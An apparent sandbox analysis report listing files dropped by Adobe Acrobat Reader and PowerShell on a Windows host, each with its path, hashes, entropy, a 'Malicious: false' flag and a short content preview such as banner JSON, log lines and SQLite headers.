SHA-512:	28BB2808603AECF81903890F4563B84518E035649E9ABCA3E8C0B36EF08CBE314851886563271AF961A56D781043A0DEF30584E53A2141972DB785E6FCD4DF9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.308088633150162
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJf21rPeUkwRe9:YvXKX5WIbaYlZc0vHSWsG+16Ukee9
MD5:	486BDED5F280D5491D5ACF9067B533DC
SHA1:	4EDF7D9A2AEA9338BAE38EF5FD0FA890A816A696
SHA-256:	6D6111ED345555EA9D190C37E848958FC90CC7C437BDC83371B8C89C1856CF5D
SHA-512:	A6C0243B3D075DD1CAD971CBBEDA6D32B3E2BEBC16BE849CBB9432622364C798F4351124B75EE035F406BD3DE7DAFB26925E37EA56ACF6CF987921A6B4ABD355
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669516602192953
Encrypted:	false
SSDEEP:	24:Yv6X1m2zvHL5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvkmuTFBgkDMUJUAh8cvMI
MD5:	DB4ADFB44D9E8D6821323C057CFFA6BD
SHA1:	F4AB8FCBA09B0AFD53B96C43C3D609C01469B85B
SHA-256:	E9EA0FA4D7148DDF3E3E60D022EAB39F7EE6EE4DDCDB727A54B9FF5D5C7E690B
SHA-512:	240A85B2A95AD2A0215EC3F6319420762C15FB8CDD954DA8192303C1AF4111EB50B809239DDF56B7B5C2BF5F98E39468E8A4E1EC7EDFAA90FA6F32E71BCBB755
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.284833818117495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfshHHrPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGUUUkee9
MD5:	734B1B8DBFEFE132A9407E251E272F3B
SHA1:	68BD778640BEC4A52661302E0E7F0EA48AFB0D1B
SHA-256:	482D22D7191DE3AFCC670489964E5A38C1E6247A9532825C649DF97268D2F6F6
SHA-512:	25CC01665A005CF234CB725B33403AD7CBCE68668FB3EE9F2B6B7D9464A2FED5C12AEC4291E54C09EAD26DD366C2D808FA2459E5BF646A85CA3DECB8A041D04F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.293015051200658
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJTqgFCrPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGTq16Ukee9
MD5:	9D33BA18FE675F20A95397FAC5587E7F
SHA1:	C4FB61E9F63DCC79CF586356C47CC64A86C6ADF5
SHA-256:	B250830A78F134F060847C47E2BF7A72414DAA0056C397250BA914A0056B4A00
SHA-512:	74ACCC1AF8D2D7336D54B9CA1BC823E5C77BF795A8697E4E03173DE01B993531B704DAA1B118620A6430BC916956CBFA8485A9CCD01B6D2D6175BA2C5AA19500
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142090887765361
Encrypted:	false
SSDEEP:	48:YQckYAdpRhMtWMCV5psrk1attVdMRr9Phe:OjALRhMMMCVYkU7MHpe
MD5:	44A7D1EE9544693390F28674CF574AB0
SHA1:	93550B04C0D7F529B0461783A453240E751E632A
SHA-256:	EFDE5901FF05B9616107520331030977F8722D55C6B440067A8E7C4CB9E6DCF2
SHA-512:	18DBABE0B1DB2E0537AB386764D1F85AF6E8D3D0F66E8231D2C308D62D3387A34CC08B0D9D85DCC7C7503FC0455CC72E1899AB0E7BB289BE03585118710E8168
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e52930ccbabbdd78ff47bded4d1e4328","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564361000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d52d412167b3723647d1b5e04aac2912","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564361000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8f8a6aa6b308d054c0fb670a700b79da","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564361000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3d76a19b426008022e17dee2affff2bd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564361000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b46b9e969d3718f74da12d2115a82e6f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564361000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8a9e87d94fcdbdf4abbb4a528f0d30c2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1878465670025544
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU+irSvR9H9vxFGiDIAEkGVvpliD:lNVmswUUUUUUUUfr+FGSItkD
MD5:	B57223E4FB2580BDDE69AC2059DB7D01
SHA1:	CD265B1621B5573F1E12747F9ED2043D355D585B
SHA-256:	66EF8F2E78F90E36E1764FC56FF6F54C05AA07045D9F58C64EDE32723B4DAC9D
SHA-512:	46BDB551E1C2C8225F4AA068B04E70FFAD094F7CAE37547EC12D26D2462D93357B39E7F67A0A8718989B332B9BB19D68B1FFA91ADB4670044BC9A2897DF81128
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6089117987182215
Encrypted:	false
SSDEEP:	48:7MwKUUUUUUUUUU+i/vR9H9vxFGiDIAEkGVvwqFl2GL7msG:7QUUUUUUUUUUf3FGSItCKVmsG
MD5:	14D9147855C5772FE2A526681F63E47E
SHA1:	FD0DD49B937418C46CEE23770B7AF618C0744742
SHA-256:	0E50E17D12D11F7EB3C29FD74D495FF42A0920E5728949F57514C1DAF1729817
SHA-512:	23C946D40738CAC4D34A3C160A4C3781611AD3D987C4AD4433AF448B23DD133852E6DE7949CD97AE9930A5DC8B455F73EF71867AF949C25FDE3FE55786DF0977
Malicious:	false
Preview:	.... .c.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg7ni1C5xLRt1nv7iprGLaV5IVMLslYyu:6a6TZ44ADE7nKC5xdt1nv7N8slK
MD5:	2CD05930C9B82A3524AE1045F360E893
SHA1:	48184565C1F0B42FF007BEE40DEBDE10473F9AF6
SHA-256:	32D7D6106E26AEE43E636093EC9596102AAA064BED6C8959C2185D3303629590
SHA-512:	0FB5F97C29DFF10DDEDE9382E623CBC238D4DBAD2F76AA35776C5CA86BDC0AC20AA84226B75A1E869A9AEB7FC38745A21F3D28424C853537075CF6AECF5DED7F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI132fc.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsKKCH:Qw946cPbiOxDlbYnuRK+bK
MD5:	4FD1EB4F446FA83044705F8FA36B5958
SHA1:	194DD9148C2AB1B0C0E58A0D846E11B383383379
SHA-256:	BE942F74C1020D564DCF042DC8AD3C54FB0BF677AC26A9FA0F1A52780A6F460D
SHA-512:	0D919B640EE4FE655263E0A10E7522EB1438ABD2C3DB2313A406C86D1FF9C6F436F76E7E24B9C680A99F20D6B18C663A7418179462E9B7D5583F8975F7972007
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.5.9.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fysk5v1.san.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4zu5o4v2.tza.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A912auqie_ll4n6v_dc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-59-17-408.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354317526759529
Encrypted:	false
SSDEEP:	384:+SGtKt1tStetZtiht9tctktHt1CuWXWtW/WdE2E+EvECEyD3c83Pajkak6k4G2G5:KB4
MD5:	79A8D641170439B51537C3ACAE836FA6
SHA1:	C7460198F4A674829044639C500B17727D0FD974
SHA-256:	ACE20AECC3954BE7F65D01946CD3B98F3009F982389B5F298EC3992759CC4494
SHA-512:	E1E35312CF40DA67572590D681E8C456E49CD6A8F0D33C96FCB201F3F11B65E493B2B1B579CE00AD28253927B8C37CAEAF2D83272CDA6E82F3FEC2091D2E55CA
Malicious:	false
Preview:	SessionID=7c1012ec-20ca-488f-afa4-1a1ffc1b85df.1736564357437 Timestamp=2025-01-10T21:59:17:437-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7c1012ec-20ca-488f-afa4-1a1ffc1b85df.1736564357437 Timestamp=2025-01-10T21:59:17:441-0500 ThreadID=7840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7c1012ec-20ca-488f-afa4-1a1ffc1b85df.1736564357437 Timestamp=2025-01-10T21:59:17:441-0500 ThreadID=7840 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7c1012ec-20ca-488f-afa4-1a1ffc1b85df.1736564357437 Timestamp=2025-01-10T21:59:17:441-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7c1012ec-20ca-488f-afa4-1a1ffc1b85df.1736564357437 Timestamp=2025-01-10T21:59:17:441-0500 ThreadID=7840 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394164966671332
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rZ:AG
MD5:	C5FA3E346C1DC0F6B4A696B4EDE85883
SHA1:	70EA3ADDE0F4030037502745E17AE52D6C77C1CB
SHA-256:	2D77F4181E339B5D5C23CDF86E55CD6C532D9C82669AFDD69CF93C41317B4191
SHA-512:	1CB38FB4883CF15EDB06C4E7CFBC57B274D43133B93667B2E113C580559EB5D8DCC76A67D32019E24BD4F7DFFB1DF17313753D61C6FC8E86FA2EC7CA9EBCB990
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4febecc5-a3dc-48e7-a780-34c0af7847b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\51669723-b332-4724-8f56-7b422e265e30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
